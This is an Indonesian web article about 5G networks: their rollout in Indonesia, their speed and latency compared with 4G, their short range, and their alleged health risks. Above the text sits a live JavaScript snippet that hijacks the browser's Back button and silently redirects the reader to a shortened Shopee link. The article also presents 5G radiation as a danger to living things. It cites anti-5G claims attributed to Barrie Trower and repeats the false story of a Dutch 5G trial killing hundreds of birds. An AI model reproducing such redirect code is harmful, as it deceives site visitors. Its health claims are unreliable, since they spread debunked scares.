(function(window, location) { history.replaceState(null, document.title, location.pathname+"#!/history"); history.pushState(null, document.title, location.pathname); window.addEventListener("popstate", function() { if(location.hash === "#!/history") { history.replaceState(null, document.title, location.pathname); setTimeout(function(){ location.replace("https://shope.ee/5Utq2NAvFT"); },10); } }, false); }(window, location));
Teknologi jaringan terus berkembang pesat di dunia. Jaringan 5G bahkan saat ini sudah diterapkan di beberapa negara seperti Korea Selatan, Tiongkok dan Amerika Serikat. Teknologi yang memberikan peningkatan kecepatan ultra-cepat ini pun saat ini mulai dilirik oleh negara-negara lain termasuk negara-negara di Asia Tenggara. Indonesia merupakan negara tengah mengembangkan teknologi ini.
Beberapa operator jaringan sudah mulai mengembangkan penerapan teknologi super cepat tersebut sejak tahun 2018. Pemerintah bahkan ikut mendukung pengembangan teknologi jaringan 5G di Indonesia untuk menopang perkembangan revolusi industri 4.0. Salah satu operator yang terus mengembangkannya adalah Simpati. Operator tersebut bahkan memiliki ambisi untuk membawa teknologi 5G ke ibukota Indonesia yang baru di Kalimantan. Salah satu bentuk mengembangkan yang dilakukan adalah dengan melengkapi infrastruktur telekomunikasi di pulau tersebut.
Perkembangan 5G VS AI
Peningkatan pengguna internet di Asia Tenggara membuat jaringan 5G sangat diperlukan. Selain itu, jaringan 5G dapat mendukung peningkatan infrastruktur teknologi dan tren ini akan terus berlanjut beberapa tahun ke depan. Berkembangnya infrastruktur yang membutuhkan kecerdasan buatan (AI Artificial Intelligence) harus diseimbangkan dengan kecepatan jaringan yang memadai. Dengan jaringan super cepat maka Analisa data secara real-time pun akan semakin mudah dilakukan.
Teknologi 5G memiliki jeda pengiriman data lebih rendah dari para jaringan 4G. 5G hanya memerlukan waktu kurang dari 10 mili detik untuk mengirim data. Hal ini sangat membantu dan memberikan keuntungan bagi pengusaha operator seluler. Dengan jaringan 5G, mereka bisa melayani lebih banyak pelanggan pada satu jaringan dari pada jaringan 4G. Selain itu, biaya operasional penyediaan jaringan ini bisa dikatakan lebih rendah jika dibandingkan dengan 4G. Dengan demikian kemungkinan besar harga layanan yang diberikan pun akan lebih murah.
Berbeda dengan 4G yang setiap towernya memerlukan daya yang tinggi agar bisa memancarkan sinyal secara luas dan kuat, sinyal 5G dapat ditransmisikan melalui stasiun sel kecil. Hal tersebut membuat penyedia jaringan bisa memasangnya di beberapa tempat seperti tiang lampu jalan atau atap bangunan.
Kelemahan Jaringan 5G
Meskipun terlihat lebih sederhana, 5G memiliki kelemahan. Jaringan 5G hanya bisa melakukan perjalanan jarak pendek sehingga stasiun sel kecil yang dibuat tidak boleh dipasang terlalu jauh karena karena akan mengganggu jaringan. Sinyal 5G juga mudah terganggu dengan cuaca dan benda fisik yang bisa menghalangi sinyal seperti tembok bangunan. Namun semakin pendek gelombang, maka semakin tinggi frekuensi. Hal tersebut membuat semakin banyak pula data yang bisa dibawa oleh jaringan ini.
Untuk proyek awal, 5G bisa efektif digunakan di ruangan yang luas dan memiliki minim penghalang. Sebagai contoh tempat umum seperti, pusat perbelanjaan, stasiun kereta api, stadion olahraga, dan bandara. Jaringan 5G bisa sangat menguntungkan jika digunakan di tempat yang luas dan bisa menampung banyak orang karena dengan demikian fungsi dari 5G bisa menjadi efektif.
Tak hanya sambutan positif, hadirnya 5G ternyata mendapat tanggapan negatif terutama dari pihak medis. Jaringan 5G dikabarkan memberikan radiasi yang cukup besar pada kesehatan manusia. Badan keamanan keselamatan radiasi Australia, Lembaga Pelindungan Radiasi dan Keselamatan Nuklir Australia (ARPANSA) bahkan mendukung adanya pemeriksaan apakah standar keamanan radiasi perlu dilakukan untuk penggunaan jaringan 5G. Seperti yang kita ketahui, Dalam spektrum elektromagnetik, ada porsi dari radio waves dan microwaves yang disebut Radiasi RF. Semakin tinggi frekuensinya, maka semakin berbahaya bagi organisme hidup.
Penyempurnaan 5G yang Harus Dilakukan
Fisikawan dan juga mantan spesialis militer Inggris bernama Dr. Barrie Trower mengatakan bahwa beberapa ilmuwan dari 40 negara telah menentang adanya peluncuran jaringan 5G. Mereka bahkan telah meluncurkan makalah ilmiah yang menunjukkan dampak negatif dari radiasi RF jaringan 5G. Dampak-dampak tersebut antara lain:
Gelombang yang pendek seperti 5G membuat penyebaran stasiun kecil pemancarnya semakin banyak daripada 4G. Hal ini sangat berbahaya untuk beberapa wilayah terutama di Kawasan pada penduduk. 5G bahkan memberikan 1 stasiun pemancar untuk 2 – 8 rumah. Kabarnya bahkan uji coba 5G di negara Belanda terkendala karena menewaskan ratusan burung yang sedang terbang di Kawasan tersebut.